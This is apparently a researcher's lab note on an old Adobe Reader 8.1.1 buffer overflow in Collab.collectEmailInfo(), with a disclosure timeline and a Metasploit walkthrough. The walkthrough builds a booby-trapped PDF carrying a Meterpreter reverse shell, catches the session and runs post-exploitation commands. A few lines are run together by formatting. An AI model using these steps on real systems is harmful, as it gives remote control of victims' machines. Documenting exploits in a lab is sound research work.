Timeline :
Vulnerability reported by Greg MacManus to IDefense Labs
Vulnerability reported from IDefense Labs to the vendor the 2007-10-10
Adobe release version 8.1.2 the 2008-02-06
Exploit discovered in the wild the 2008-02-08
Public disclosure the 2008-02-08
Metasploit PoC provided by MC the 2009-03-28
PoC provided by :
MC
Didier Stevens
Reference(s) :
Affected version(s) :
Adobe Reader and Adobe Acrobat Professional 8.1.1
Tested on Windows XP SP3 with :
Adobe Reader 8.1.1
Description :
This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional 8.1.1. By creating a specially crafted pdf that a contains malformed Collab.collectEmailInfo() call, an attacker may be able to execute arbitrary code.
Commands :
use exploit/windows/fileformat/adobe_collectÂemailinfo
set OUTPUTPATH /home/eromang
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploituse exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit -jsessions -i 1
sysinfo
getuid
ipconfig